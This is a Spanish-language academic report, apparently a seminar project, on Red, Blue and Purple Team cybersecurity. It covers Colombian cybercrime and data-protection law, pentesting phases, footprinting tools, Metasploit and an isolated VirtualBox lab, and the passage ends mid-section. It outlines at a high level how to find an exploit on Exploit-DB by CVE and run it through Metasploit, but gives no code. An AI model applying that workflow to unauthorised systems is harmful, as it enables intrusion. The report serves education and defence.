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GLOSARIO

Auditorias de Seguridad: Proceso de evaluacion sistematica de los sistemas, redes y
politicas de seguridad de una organizacion para identificar posibles vulnerabilidades y

garantizar el cumplimiento de los estdndares de seguridad.

Blue Team: Equipo de seguridad encargado de defender los sistemas de una

organizacion contra ataques cibernéticos y mantener su integridad y disponibilidad.

Ciberseguridad: Conjunto de técnicas y medidas disefiadas para proteger los sistemas

informaticos, redes y datos contra ataques, dafios o accesos no autorizados.

Deteccidn de Intrusiones: Proceso de monitoreo y analisis de actividad en sistemas y

redes para identificar posibles intrusiones o comportamientos andémalos.

Estrategia de Inversion en Ciberseguridad: Planificacion y asignacion de recursos
financieros y humanos para implementar medidas de seguridad efectivas y mitigar los

riesgos cibernéticos.

Informe técnico: Documento que presenta de manera clara y detallada informacion
técnica sobre un tema especifico, en este caso, las estrategias Red Team & Blue Team

planteadas en el seminario.

Legislacion en ciberseguridad: Conjunto de leyes y regulaciones relacionadas con la
seguridad de la informacion y la proteccién de datos, como la Ley 1273 de 2009 en

Colombia, que aborda los delitos informaticos.

Politicas de Seguridad: Conjunto de reglas y procedimientos establecidos para proteger

los activos de informacién de una organizacion y garantizar la confidencialidad, integridad



y disponibilidad de los datos.

Postulante: Persona que se postula para un puesto, en este caso, al puesto de red team

0 blue team en HackerHouse.

Practicas de seguridad cibernética: Conjunto de acciones y politicas destinadas a
proteger los sistemas informaticos y redes de una organizacion contra posibles amenazas

cibernéticas.

Prevencion de Intrusiones: Conjunto de técnicas y herramientas disefiadas para

detectar y bloquear intentos de acceso no autorizado a sistemas y redes informéticas.

Pruebas de penetracidén: También conocidas como pentesting, son pruebas controladas
realizadas para evaluar la seguridad de un sistema o red mediante la simulacion de

ataques cibernéticos.

Purple Team: Equipo de seguridad que actia como intermediario entre el Blue Team y
el Red Team, facilitando la colaboracion y el intercambio de informacion para mejorar la

deteccidn y respuesta a amenazas.

Red Team: Equipo de seguridad encargado de simular ataques cibernéticos contra los

sistemas de una organizacion para identificar vulnerabilidades y puntos débiles.

SIEM: Siglas en inglés de Security Information and Event Management, se refiere a
sistemas que proporcionan una vision integral de la seguridad de la informacion en una

organizacioén, recopilando y analizando datos de seguridad en tiempo real.

Tecnologias de la Informacion (T.l.): Conjunto de herramientas, sistemas y procesos

utilizados para almacenar, procesar y transmitir informacion en una organizacion.



Tecnologias de seguridad avanzadas: Herramientas y sistemas tecnoldgicos
disefiados para detectar, prevenir y responder a amenazas cibernéticas de manera

eficaz, como sistemas de deteccion y prevencion de intrusiones.
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RESUMEN

La ciberseguridad se ha convertido en una preocupacion cada vez mas apremiante para
las organizaciones en la era digital, donde las amenazas cibernéticas evolucionan
constantemente en complejidad y sofisticacion. En este contexto, la integracion de
equipos especializados, como Blue Team, Red Team y Purple Team, emerge como una
estrategia fundamental para reforzar las defensas cibernéticas y mitigar los riesgos

asociados con los ataques informaticos.

En este informe, se profundiza en la relevancia de la ciberseguridad en el contexto
colombiano, destacando la importancia de la legislacion vigente, como la Ley 1273 de
2009 y la Ley 1581 de 2012. Estas leyes son pilares fundamentales para abordar los
delitos informaticos y proteger los datos personales de los ciudadanos colombianos. Al
comprender y cumplir con estas regulaciones, las organizaciones pueden fortalecer su
postura de seguridad cibernética y salvaguardar la informacion confidencial de sus

clientes y empleados.

Ademas, se analiza en detalle como la colaboracion entre equipos especializados puede
mejorar significativamente la capacidad de deteccién y respuesta ante amenazas
cibernéticas. La combinacion de las habilidades y conocimientos de Blue Team, Red
Team y Purple Team permite una evaluacibn mas completa de los sistemas y redes de
una organizacioén, identificando vulnerabilidades y desarrollando estrategias efectivas

para prevenir y mitigar ataques.

En cuanto a las recomendaciones, se hace hincapié en la importancia de implementar
politicas de seguridad robustas y seguir practicas recomendadas en el ambito de la
ciberseguridad. Esto incluye la inversion en tecnologias y herramientas de Ultima
generacion, asi como la capacitaciéon continua del personal en buenas practicas de

seguridad informatica.
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En resumen, este informe subraya la trascendencia de la ciberseguridad en el panorama
colombiano actual y proporciona orientacion practica sobre cémo las organizaciones
pueden fortalecer sus defensas cibernéticas para hacer frente a las crecientes amenazas

en el entorno digital.

Palabras claves: Amenazas cibernéticas, Ciberseguridad, Metasploit, Pentesting,

Vulnerabilidades.
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ABSTRACT

Cybersecurity has become an increasingly pressing concern for organizations in the
digital age, where cyber threats are constantly evolving in complexity and sophistication.
In this context, the integration of specialized teams, such as Blue Team, Red Team and
Purple Team, emerges as a key strategy to strengthen cyber defenses and mitigate the
risks associated with cyber attacks.

In this report, we delve into the relevance of cybersecurity in the Colombian context,
highlighting the importance of current legislation, such as Law 1273 of 2009 and Law 1581
of 2012. These laws are fundamental pillars to address cybercrime and protect the
personal data of Colombian citizens. By understanding and complying with these
regulations, organizations can strengthen their cybersecurity posture and safeguard the

confidential information of their customers and employees.

In addition, it discusses in detail how collaboration between specialized teams can
significantly improve the ability to detect and respond to cyber threats. The combined skills
and knowledge of Blue Team, Red Team and Purple Team enable a more comprehensive
assessment of an organization's systems and networks, identifying vulnerabilities and
developing effective strategies to prevent and mitigate attacks.

In terms of recommendations, the importance of implementing robust security policies and
following best practices in cybersecurity is emphasized. This includes investing in state-
of-the-art technologies and tools, as well as ongoing staff training in good cybersecurity

practices.
In summary, this report underscores the significance of cybersecurity in today's

Colombian landscape and provides practical guidance on how organizations can

strengthen their cyber defenses to address the growing threats in the digital environment.
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INTRODUCCION

La ciberseguridad se ha convertido en una preocupacion primordial para las
organizaciones en el panorama actual, donde las amenazas digitales son cada vez mas
complejas y persistentes. En este contexto, la integracion de equipos especializados,
como Blue Team, Red Team y Purple Team, se presenta como una estrategia
fundamental para fortalecer las defensas cibernéticas y mitigar riesgos.

Este trabajo aborda la relevancia de la ciberseguridad en las organizaciones, destacando
la necesidad de comprender y aplicar la legislacion colombiana pertinente, especialmente
en lo relacionado con la proteccién de datos personales y la prevencion de delitos
informaticos. Se exploraran las leyes clave, como la Ley 1273 de 2009, enfocada en los
delitos informaticos, y la Ley 1581 de 2012, que garantiza la proteccion de datos

personales.

Ademas, se analizara cémo la integracién de equipos Blue Team, Red Team y Purple
Team puede fortalecer la postura de seguridad cibernética de una organizacion,
permitiendo una deteccién mas efectiva de amenazas y una respuesta mas rapida ante

incidentes.

Este informe también proporcionard recomendaciones sobre politicas de seguridad y
practicas recomendadas para mejorar la ciberseguridad en entornos de Tecnologias de
la Informacion (T.l.). Se destacara la importancia de invertir en ciberseguridad como una
prioridad estratégica para proteger los activos de informacion y mantener la confianza de

clientes y socios comerciales.
Este trabajo tiene como objetivo concienciar sobre la importancia de la ciberseguridad,

tanto a nivel legislativo como préactico, y promover practicas efectivas para proteger la

informacion en un entorno digital cada vez mas desafiante.
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1 OBJETIVOS

1.1 OBJETIVO GENERAL

Analizar y presentar estrategias integrales de ciberseguridad basadas en la integracion
de equipos Blue Team, Red Team y Purple Team en una organizacion, con el propdsito
de fortalecer su capacidad para detectar, prevenir y responder eficazmente a amenazas

cibernéticas.

1.2 OBJETIVOS ESPECIFICOS

» Elaborar un informe técnico que presente de manera clara y detallada las
estrategias Red Team & Blue Team planteadas en el seminario, destacando su

importancia y aplicacion en el campo de la ciberseguridad.

» ldentificar y explicar cdmo la integracion simultanea de equipos Blue Team, Red
Team y Purple Team dentro de una organizacion puede fortalecer la deteccion,
prevencion y respuesta a amenazas cibernéticas, promoviendo la colaboracién y

el intercambio de informacion entre los equipos.

» Analizar las implicaciones legales establecidas por los articulos relevantes de la
Ley 1273 de 2009 en Colombia, resaltando las penas y multas asociadas con
diferentes delitos informaticos, y su relevancia para la implementacion de

estrategias de ciberseguridad en las organizaciones.
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2 DESARROLLO DEL INFORME FINAL

2.1. Marco Regulatorio en Colombia: Leyes de Delitos Informaticos y Proteccién de

Datos Personales

La Ley 1273 de 2009 en Colombia aborda los delitos informaticos y tiene como propdésito
fundamental sancionar actividades ilicitas relacionadas con el uso indebido de sistemas
informaticos y la manipulacién no autorizada de datos electrénicos. A continuacion, se

proporciona una definicién de cada articulo:

» Articulo 269A - Acceso Abusivo a un Sistema Informatico: Comete este delito
quien acceda, total o parcialmente, a un sistema informatico sin autorizacion,
violando acuerdos establecidos o eludiendo medidas de seguridad. La pena por
esta accion va de cuarenta y ocho (48) a noventa y seis (96) meses de prision,
acompafiada de una multa que oscila entre 100 y 1000 salarios minimos legales
mensuales vigentes.

» Articulo 269B - Obstaculizacion llegitima de Sistema Informético o Red de
Telecomunicacion: Quien, sin autorizacion, interrumpa o dificulte el
funcionamiento normal de un sistema informatico, el acceso a datos almacenados
en él o una red de telecomunicaciones enfrentara una pena de cuarenta y ocho
(48) a noventa y seis (96) meses de prision, acompafada de una multa de 100 a
1000 salarios minimos legales mensuales vigentes, a menos que la accién
constituya un delito con una pena mayor.

» Articulo 269C - Interceptacion de Datos Informaticos: Penaliza la
interceptacién de datos sin orden judicial, con penas de prision de 36 a 72 meses.

» Articulo 269D - Dafio Informatico: Sanciona la destruccion o alteraciéon no
autorizada de datos informaticos, con penas de 48 a 96 meses de prision y multas

de 100 a 1000 salarios minimos.
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Articulo 269E - Uso de Software Malicioso: Castiga la produccion o trafico de
software dafino, con penas de 48 a 96 meses de prision y multas de 100 a 1000
salarios minimos.

Articulo 269F - Violacion de Datos Personales: Sanciona la obtencion,
divulgacién o modificacion no autorizada de datos personales, con penas de 48 a
96 meses de prisién y multas de 100 a 1000 salarios minimos.

Articulo 269G - Suplantacion de Sitios Web: Penaliza la creacién de paginas o
enlaces con obijetivos ilicitos, con penas de 48 a 96 meses de prision y multas de
100 a 1000 salarios minimos.

Articulo 269H - Circunstancias de Agravacion Punitiva: Establece aumentos
en las penas en casos especificos, como actos sobre redes estatales,
aprovechamiento de confianza, revelacion de informacion y otros.

Articulo 2691 - Hurto por Medios Informéticos: Penaliza el hurto manipulando
sistemas informaticos, con sanciones del Articulo 240 del Codigo Penal.

Articulo 269J - Transferencia No Consentida de Activos: Castiga la
transferencia no autorizada de activos mediante manipulacion informatica, con
penas de 48 a 120 meses y multas de 200 a 1500 salarios minimos,

incrementandose en la mitad si la cuantia supera los 200 salarios.*

Ley 1581 de 2012 - Proteccién de Datos Personales

La Ley 1581 de 2012 se centra en la proteccion de datos personales y busca garantizar

el derecho fundamental a la privacidad de los individuos promoviendo practicas

transparentes y éticas en el tratamiento de datos en Colombia.

! COLOMBIA. CONGRESO DE LA REPUBLICA. Ley 1273 [en linea]. Ley 1273 de 2009. Por
medio de la cual se modifica el Cédigo Penal, se crea un nuevo bien juridico tutelado -
denominado "de la proteccion de la informacion y de los datos"- y se preservan integralmente los
sistemas que utilicen las tecnologias de la informacion y las comunicaciones, entre otras
disposiciones. [Consultado el 9, abril, 2024]. Disponible en Internet: <https://www.suin-
juriscol.gov.co/viewDocument.asp?ruta=Leyes/1676699>.

18



» Multas y Entidades Correspondientes: El Articulo 23 establece las sanciones
que la Superintendencia de Industria y Comercio puede imponer a los
responsables y Encargados del Tratamiento de datos personales. Las multas
pueden ser tanto personales como institucionales y alcanzar el equivalente de
hasta dos mil (2.000) salarios minimos mensuales legales vigentes. Estas multas

pueden aplicarse de manera sucesiva mientras persista el incumplimiento.

Ademas de las multas, las sanciones incluyen:

a) Suspensioén de actividades relacionadas con el Tratamiento por un maximo de seis (6)
meses, con indicacion de correctivos requeridos.

b) Cierre temporal de operaciones relacionadas con el Tratamiento después del periodo
de suspension si no se adoptan los correctivos.

c) Cierre inmediato y definitivo de operaciones que involucren el Tratamiento de datos

sensibles.?3

Es importante sefialar que estas sanciones son aplicables Unicamente a personas de
naturaleza privada. En caso de presunto incumplimiento por parte de una autoridad, la
Superintendencia remitira la actuacion a la Procuraduria General de la Nacién para la

investigacion correspondiente.

2.2. Metodologia de Pentesting

El pentesting emerge como un proceso crucial en el d&mbito de la ciberseguridad. A

continuacion, definimos cada etapa del pentesting.

2.2.1. Footprinting: Es la primera fase del proceso de Test de Penetracion (pentesting)
en ciberseguridad. Esta etapa se centra en la recopilacion de informacién sobre

un sistema, red o entidad especifica con el objetivo de comprender su estructura,
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activos, y posibles puntos de vulnerabilidad desde una perspectiva externa, es
crucial porque establece la base para las fases posteriores del pentesting.
Proporciona una vision integral de la superficie de ataque, permitiendo una
planificacion més efectiva y la identificacion de posibles puntos de vulnerabilidad.
Ademas, contribuye a una evaluacion mas precisa de los riesgos y desafios que
podria enfrentar la organizacién objetivo utilizando fuentes publicas y herramientas
especializadas.

Objetivo: Identificar puntos de entrada potenciales y comprender la topologia de

la red.

2.2.2. Escaneo (Scanning): Se realiza un andlisis mas profundo de los activos
identificados durante el reconocimiento. Se utilizan herramientas como Nmap para
descubrir servicios y puertos abiertos.

Objetivo: Identificar sistemas activos, servicios en ejecuciéon y posibles

vulnerabilidades.

2.2.3. Enumeracidn: En esta etapa, se recopilan detalles adicionales sobre los sistemas
activos identificados durante el escaneo. Esto incluye obtener informacién sobre
usuarios, grupos y recursos compartidos.

Objetivo: Obtener informacién critica para posibles ataques posteriores.

2.2.4. Obtencién de Acceso (Gaining Access): Aqui, el pentester intenta explotar las
vulnerabilidades identificadas para obtener acceso no autorizado. Puede incluir el
uso de exploits o técnicas de ingenieria social.

Objetivo: Verificar la capacidad de un atacante para penetrar en la red y obtener

acceso a sistemas.*

4 Berger y A. Jones, «Cyber Security & Ethical Hacking For SMEs,» Proceedings of the The 11th
International Knowledge Management in Organizations Conference on The changing face of Knowledge
Management Impacting Society, n® 12, pp. 1-6, 2016.
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2.2.5.

2.2.6.

2.2.7.

2.2.8.

Mantenimiento de Acceso (Maintaining Access): Después de obtener acceso,
se busca establecer un punto de apoyo persistente para el atacante. Se pueden
instalar backdoors u otros mecanismos para mantener la presencia.

Objetivo: Evaluar la capacidad de un atacante para mantener el acceso sin ser

detectado.

Andlisis de Resultados y Documentacion: Se revisan y documentan todos los
resultados obtenidos durante las fases anteriores. Esto incluye las
vulnerabilidades identificadas, exploits utilizados y recomendaciones para la
mitigacion.

Objetivo: Proporcionar informes detallados y orientacion para mejorar la postura

de seguridad.

Limpieza (Covering Tracks): En algunos casos, se lleva a cabo una fase de
limpieza para eliminar cualquier evidencia de la actividad del pentester y restaurar
los sistemas a su estado original.

Objetivo: Evaluar la capacidad de los sistemas para detectar y responder a

actividades no autorizadas.

Footprinting en Ciberseguridad: Es la primera fase del proceso de Test de
Penetracion (pentesting) en ciberseguridad. Esta etapa se centra en la
recopilacion de informacién sobre un sistema, red o entidad especifica con el
objetivo de comprender su estructura, activos, y posibles puntos de vulnerabilidad
desde una perspectiva externa, el Footprinting es crucial porque establece la base
para las fases posteriores del pentesting. Proporciona una vision integral de la
superficie de ataque, permitiendo una planificacion mas efectiva y la identificacién
de posibles puntos de vulnerabilidad. Ademas, contribuye a una evaluacion mas

precisa de los riesgos y desafios que podria enfrentar la organizacion objetivo.
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Objetivos:

>

Identificacion de Activos: Obtener informacion sobre servidores, dominios,
direcciones IP y otros activos en la red.

Determinacion de Topologia de Red: Descubrir la arquitectura de la red,
relaciones entre sistemas y configuraciones.

Identificacién de Personal: Obtener datos sobre personas clave, empleados, y
contactos relevantes.

Recopilacion de Informacién Publica: Analizar datos disponibles publicamente

en fuentes como sitios web, redes sociales, registros gubernamentales, etc.

Técnicas Utilizadas:

>

A\ 4

BUsqueda en Motores de Busqueda: Uso de Google y otros motores para
encontrar informacioén publica.

WHOIS Lookup: Identificacion de propietarios de dominios y detalles de registro.
DNS Interrogation: Obtencion de informacion a través de consultas DNS.
Escaneo de Red: Identificacion de activos y servicios a través de herramientas
como Nmap.

Andlisis de Sitios Web: Inspeccion de sitios web para obtener informacion sobre

tecnologias utilizadas, estructura de directorios, etc.

Herramientas Utilizadas:

>

>
>
>

WHOIS: Consulta de informacién de registro de dominios.

nslookup: Herramienta de linea de comandos para obtener informacion de DNS.
Google Dorks: Busquedas avanzadas en Google para datos especificos.
recon-ng: Marco de reconocimiento que automatiza la recopilacion de

informacion.®

5 MARTIN TALON, Rafael. Desarrollo e implementacion practica de un Pentest. 2016.
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2.3. Tecnologias para Procesos de Ciberseguridad: Aplicaciones Opensource y

de Pago

Opensource:
» WHOIS: Proporciona informacion sobre el registro de dominios y propietarios.
» nslookup: Permite consultar informacion de servidores de nombres y direcciones
IP.
» Google Dorks: Busquedas avanzadas en Google para encontrar informacion
sensible en sitios web.
» recon-ng: Marco de reconocimiento que automatiza la recopilacion de

informacion.

Pagas:
» Maltego: Herramienta de inteligencia de codigo abierto que permite visualizar y
enlazar datos.
» DomainTools: Ofrece informacién detallada sobre dominios, incluyendo historial
y asociaciones.
» Censys: Escanea y analiza redes para descubrir dispositivos y servicios.

> Shodan: Motor de blusqueda para encontrar dispositivos conectados a Internet.®

2.4. La Importancia de la Etapa de Footprinting en el Pentesting: Analisis y

Razones

La etapa de footprinting se destaca como una de las mas fundamentales en el pentesting,
y esto se debe a diversas razones cruciales. En primer lugar, la consideramos como la
piedra angular de la ciberseguridad, donde la Informacién Inicial Crucial se convierte en

el cimiento del proceso. Durante el footprinting, se recopila informacion vital sobre la

SOWASP FOUNDATION, the Open Source Foundation for Application Security | OWASP Foundation.
[Consultado el 9, abril, 2024]. Disponible en Internet: <https://owasp.org/>.
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organizacion objetivo, abarcando detalles especificos sobre su infraestructura, sistemas,
redes y personal. Esta informacién no solo es inicial, sino que actia como la base

esencial para las fases subsiguientes del pentesting.

La identificacién de Superficies de Ataque es otro aspecto clave de esta etapa. Al revelar
activos expuestos, como servidores, aplicaciones y servicios, el footprinting permite a los
pentesters concentrar sus esfuerzos en areas criticas y relevantes para la seguridad de
la organizacién. Este enfoque estratégico se traduce en una evaluacion mas efectiva y
centrada. El Mapeo de la Infraestructura, por otro lado, implica una comprensién detallada
de la topologia de la red y la infraestructura, facilitando la identificacion precisa de
posibles vulnerabilidades y puntos de entrada. Esta perspicacia se traduce en una
planificacion mas eficaz para las fases de escaneo y enumeracion, optimizando el

proceso de pentesting.’

La Planificacion Estratégica se beneficia enormemente de la informacion recopilada
durante el footprinting. Permite a los pentesters disefiar y ejecutar escenarios realistas,
replicando con precision las amenazas del mundo real que la organizacion podria
enfrentar. Esta alineacion estratégica garantiza una evaluacion mas relevante y

significativa.

La Reduccion de Riesgos se convierte en un resultado tangible de esta etapa, donde las
debilidades se identifican y abordan proactivamente antes de que se materialicen como
amenazas reales. Esto contribuye significativamente a la reduccion anticipada de los
riesgos de seguridad. En dltima instancia, la Alineacion con Objetivos de Seguridad cierra
el circulo, permitiendo que la evaluacion se adapte a los activos y sistemas criticos para

la operacion del negocio.

En conjunto, estas razones destacan la importancia esencial de la fase de footprinting en

7 Alfonso Lorenzo Pérez. Riesgo, Amenaza y Vulnerabilidad (ISO 27001) - EQ2B Consulting. Retrieved
June 3, 2019, from https://eq2b.com/riesgo-amenaza-y-vulnerabilidad-iso-27001/. 2019.
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el pentesting, haciendo que sea un pilar indispensable para el éxito general del proceso

de evaluacion de seguridad.

3. Metasploit y articulacion con el CVE

Metasploit, una herramienta de prueba de penetracion se emplea para desarrollar y
ejecutar exploits contra sistemas informaticos. Se presenta como un framework modular,
compuesto por diversos modulos que desempefian funciones especificas, tales como
exploits, payloads y encoders. En el ambito de Kali Linux, Metasploit viene preinstalado
en esta distribucion disefiada especialmente para actividades de seguridad y hacking
ético. Los profesionales de seguridad y pentesters eligen Kali Linux como plataforma
robusta para ejecutar Metasploit, permitiéndoles llevar a cabo pruebas de penetracion de

manera efectiva.8

La estructura de Metasploit: se compone de médulos, cada uno disefiado con un
propasito especifico. Entre los médulos clave se encuentran:
» Exploits: Contienen cddigos disefiados para aprovechar vulnerabilidades en
sistemas especificos.
» Payloads: Son cdédigos que se ejecutan después de que se ha explotado una
vulnerabilidad. Pueden incluir shellcodes, scripts, o incluso conexiones inversas.
» Encoders: Se utilizan para modificar el codigo de un exploit o payload para evadir

deteccién por parte de soluciones de seguridad. °

Opciones de Metasploit

Ofrece una amplia variedad de opciones para personalizar los ataques y adaptarlos a las

circunstancias especificas. Algunas opciones clave incluyen:

8  Metasploit Doc. (s.f.). Recuperado el 26 de 03 de 2022, de https://docs.rapid7.com/metasploit/. 2022.
° Chipeta, C. What is Metasploit? Recuperado el 26 de 03 de 2022, de
https://www.upguard.com/blog/metasploit. 2022.
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» Seleccidon de Exploits: Los usuarios pueden elegir entre una amplia gama de
exploits basados en la vulnerabilidad especifica que deseen aprovechar.

» Payloads Personalizados: Es posible personalizar los payloads para adaptarlos
al escenario de ataque.

» Configuracion de Opciones: Se pueden ajustar diversas opciones segun las
caracteristicas del objetivo, como direcciones IP, puertos y configuraciones

especificas del sistema.

Funciones

» Metasploit se destaca por su extensa base de datos de vulnerabilidades,
ofreciendo a los profesionales en ciberseguridad un conjunto de exploits que
optimizan sus labores. Su funcionalidad se extiende mas allad al permitir la
automatizacion de tareas repetitivas comunes en pruebas de penetracion,
agilizando flujos de trabajo y simplificando procesos.

» Ademéas de su eficiencia operativa, Metasploit se erige como una valiosa
plataforma educativa. Funciona como una herramienta de aprendizaje que
contribuye a la concienciacion sobre la deteccidn de vulnerabilidades en sistemas
informaticos. Proporciona oportunidades especificas para mejorar las habilidades
y conocimientos en el ambito de la ciberseguridad.

» Es crucial destacar que, guiado por sélidos principios éticos, Metasploit prohibe
expresamente su uso con fines maliciosos. Su funcidn principal consiste en educar
y facilitar pruebas de penetracién bajo un marco ético. Advierte sobre las
consecuencias legales del uso indebido de la plataforma, subrayando la

importancia de un enfoque ético en la ciberseguridad.°

10 Rongfeng Zheng, J. W. Two-layer detection framework with a high accuracy and efficiency for a malware
family over the TLS protocol. PLoS One. 2020.
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3.1. CVE y su estructura

CVE: Es un sistema de identificacién y estandarizacion de vulnerabilidades en software
y hardware. Proporciona un identificador Gnico para cada vulnerabilidad, permitiendo una

referencia comun en la comunidad de seguridad informatica.

Estructura de un CVE: Consta de un nimero unico asignado, seguido de un afio de
publicacién y un ndmero de identificacion secuencial. Por ejemplo, CVE-2024-2603
identifica una vulnerabilidad especifica publicada en el afio 2024.

» Utilizacion: Exploit-DB es una base de datos que almacena exploits y shellcodes.
Los expertos en ciberseguridad utilizan esta plataforma para encontrar exploits
relevantes para las vulnerabilidades que han identificado.

» Relacion con CVE: Exploit-DB, en muchos casos, proporciona informacién
detallada sobre exploits relacionados con CVE especificos. Los exploits estan
etiquetados con los CVE correspondientes, permitiendo a los profesionales de la
ciberseguridad vincular exploits especificos con vulnerabilidades conocidas.

Cuando se busca la articulacion entre Metasploit y CVE utilizando el sitio,

https://www.exploit-db.com/ el proceso generalmente implica los siguientes pasos:

» Identificacién de CVE: Busque en el sitio de CVE la vulnerabilidad especifica que
desea explorar. Cada entrada en CVE esté asociada con una identificacion Unica
(por ejemplo, CVE-2024-260308).

» Busqueda en Exploit: Visite https://www.exploit-db.com/ y utilice la funcion de
busqueda para encontrar exploits relacionados con el CVE identificado. Puede
ingresar el numero CVE directamente en la barra de busqueda.

» Seleccién y descarga: Seleccione un exploit relevante de la lista de resultados
de Exploit-DB. Asegurese de revisar la informacion proporcionada, como la
descripcion, la plataforma de destino y los detalles del exploit.
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» Uso de metaploit: Integre el exploit descargado en Metasploit. Esto puede
implicar la configuracion de parametros especificos del exploit y la preparacion
para la ejecucion.

» Ejecucion de Exploit: Luego de la configuracion, ejecute el exploit en Metasploit.
Este paso busca aprovechar la vulnerabilidad en el sistema objetivo y, en algunos

casos, instalar un payload para mantener el acceso.

3.2. Configuracion del Banco de Trabajo: Implementacion de Actividades de Alta

Tecnicidad (Anexo 1 — Escenario 1)

Paso A: Descargar la herramienta virtualizadora “VirtualBox” en su ultima version.

https://www.virtualbox.org/wiki/Downloads!!

Figura 1 - Instalacion Oracle VM
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Nueva Afiadir  Configuracion Descartar  Iniciar
- - . " s
m pfSenselS_Yira q_ :I General & Previsualizacion
%) W) Apagada J— Nombre: pfSenselS_Yira
Sistema operativo: Debian (64-bit)
E GNS3 VM [®] sistema
) Apagada Memoria base: 2630 MB .
Procesadores: 2 pfSenselS_Yira
L, Orden de arranque:  Disco duro
EJ™ Kali - Linux Aceleracidn: Paginacién anidada, Paravirtualizacién KyM
‘ L!)/ Apagada
ﬁ. Pantalla
|2] Almacenamiento
L0 Audio
@ Red

Adaptador 1@ Intel PRO/1000 MT Desktop (No conectado)
Adaptador 2:  Intel PRO/1000 MT Desktop (No conectado)

(7 USB

Controlador USB: OHCI, EHCI
Filtros de dispositivos: 0 (0 activo)

| 1 Carpetas compartidas

Ninguno

Fuente: Elaboracion propia.

11 VirtualBox. [Consulta: 04 de abril 2024]. Disponible en: https://www.virtualbox.org/wiki/Downloads
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Figura 2 - Instalacién Windows 10 12
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Fuente: Elaboracion propia.

Paso B: Para el banco de trabajo se requieren 2 maquinas virtuales, una con Kali Linux
(la version que tengan) y la otra maquina debera ser un Windows 10 con todo su sistema
de seguridad abajo (Windows defender, antivirus, firewall entre otros). EI Windows 10 no
requiere que esté licenciado, la version basica que genera Microsoft es suficiente y lo
pueden descargar directamente de la pagina web https://www.microsoft.com/es-
es/software-download/windows10 o si cuentan con alguna imagen de Windows 10 la
podran utilizar. Para Kali Linux lo podran descargar de su pagina oficial:
https://www.kali.org/get-kali/#kali-platforms*3

12 Microsoft. DESCARGAR WINDOWS 10. https://www.microsoft.com [pagina web]. [Consultado el 9,
abril, 2024]. Disponible en Internet: <https://www.microsoft.com/es-es/software-download/windows10>.

13 Kali. GET KALI | Kali Linux. https://www.kali.org/ [pagina web]. [Consultado el 9, abril, 2024]. Disponible
en Internet: <https://www.kali.org/get-kali/#kali-platforms>.
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Figura 3 - Instalacion Virtual Linux

»
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Fuente: Elaboracion propia.

Figura 4 - Windows 10 con todo su sistema de seguridad abajo (Windows defender,

antivirus, firewall)

" - = T
B O Escibe aqui para buscar R F = 3 ABm@ww Lo O

Fuente: Elaboracion propia.

* Paso C: Debe validar que exista comunicacion entre cada una de las maquinas
Windows y Kali Linux, recuerde por favor no exceder la asignacion de recursos

entre las dos maquinas ya que puede colapsar los recursos hardware de su equipo
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host, encienda primero una maquina Windows y posterior a ello encienda la

maquina Kali Linux.

Figura 5 - Comunicacion entre Windows 10 y Kali Linux
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Fuente: Elaboracion propia.

Figura 6 - Comunicacion entre Windows 10 y Kali Linux

[ simbolo del sistera ] B3

Adaptador de Ethernet Ethermet:
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Fuente: Elaboracion propia.
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* Paso D: Evidenciar con printscreen el montaje del banco de trabajo y explicar

como se encuentra desplegado “caracteristicas técnicas de hardware”.

Figura 7 - Caracteristicas técnicas de hardware Kali - Linux
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=) Descripcién
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Fuente: Elaboracion propia.

4. Informe Técnico: Validacion de Comunicacién entre Maquinas Windows y Kali

Linux

I. Introduccién: La validaciéon de la comunicacion entre maquinas Windows y Kali Linux
es un componente crucial para establecer un entorno de prueba efectivo en el ambito de
la ciberseguridad. Este informe detalla el procedimiento, los resultados y las

recomendaciones derivadas de la validacion de conectividad entre ambas plataformas.
II. Objetivos:

» Confirmacion de Conexion: Verificar que la conexion entre la maquina Windows

y Kali Linux sea estable y operativa.
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Configuraciéon de Red:
» Hay que asegurar que ambas maquinas estén conectadas a la misma red virtual.
» Verificar las configuraciones de red para garantizar direcciones IP vélidas y
subredes coincidentes.

Identificacién y Solucion de Problemas: Identificar y solucionar cualquier problema
potencial que afecte la conectividad entre las maquinas.
Eficiencia en el Intercambio de Datos: Garantizar que ambas maquinas puedan

intercambiar datos de manera eficiente.

Ill. Procedimiento:

Configuraciéon de Red:
» Asegurarse de que ambas maquinas estén conectadas a la misma red virtual.
» Verificar las configuraciones de red, asegurando direcciones IP vélidas y subredes

coincidentes.

Ping y Verificacion de Conectividad:
» Desde la maquina Kali Linux, ejecutar comandos ping para evaluar la conectividad
con la maquina Windows.
» Analizar los resultados para identificar pérdida de paquetes o fallos de
comunicacion.
Firewall:
» Desactivar temporalmente los firewalls en ambas maquinas para descartar
interferencias.
» Configurar firewalls para permitir la comunicacién entre las maquinas.
Puertos y Servicios:
» Verificar que los servicios necesarios estén en ejecucion y configurados

correctamente en ambas maquinas.
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Configuraciéon de Adaptadores de Red:

>

Revisar las configuraciones de red de las maquinas virtuales, asegurando que los

adaptadores estén correctamente configurados (bridged, red interna, etc.).

IV. Resultados:

>

Y

La comunicacion entre la maquina Windows y Kali Linux se establecio
satisfactoriamente.

No se detectd pérdida de paquetes durante las pruebas de conectividad.

Los firewalls se configuraron para permitir la comunicacion entre ambas maquinas.
Los servicios necesarios para la conectividad estan en ejecucion y configurados
correctamente.

Las configuraciones de adaptadores de red estan alineadas con las mejores
practicas.

V. Conclusiones: La validacidn exitosa de la comunicacion entre las maquinas Windows

y Kali Linux confirma un entorno estable y seguro para realizar pruebas de

ciberseguridad. Los resultados indican una configuracion adecuada de red, servicios

operativos y adaptadores, proporcionando la base necesaria para futuras evaluaciones

de seguridad.

VI. Recomendaciones:

>

A\

Mantener las configuraciones de red actualizadas para adaptarse a cambios en la
infraestructura.

Realizar pruebas periddicas para garantizar la continuidad de la conectividad.
Documentar cualquier cambio significativo en la infraestructura de red.
Monitorear activamente los logs de sistema y Event Viewer para identificar
posibles problemas de conectividad.
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5. Analisis Legal del Acuerdo de Confidencialidad en el Escenario 2:

Identificacion de Clausulas Potencialmente llegales

Al revisar el anexo 2 - Escenario 2, el acuerdo de confidencialidad propuesto por
HackerHouse, se identifican varias preocupaciones que podrian considerarse ilegales o
problematicas desde un punto de vista legal y ético. A continuacion, se destacan algunas

areas del acuerdo que podrian plantear problemas legales:

» Origen del acuerdo redactado por un abogado despedido por practicas ilicitas: El
acuerdo de confidencialidad fue elaborado por un abogado que fue despedido por
actividades ilicitas dentro de la organizacion. Esto plantea serias dudas sobre la
integridad y legalidad del acuerdo, ya que es posible que el abogado haya
incorporado clausulas que no cumplan con las leyes y regulaciones aplicables.

» Falta de revision por parte de Recursos Humanos: La entrega del acuerdo de
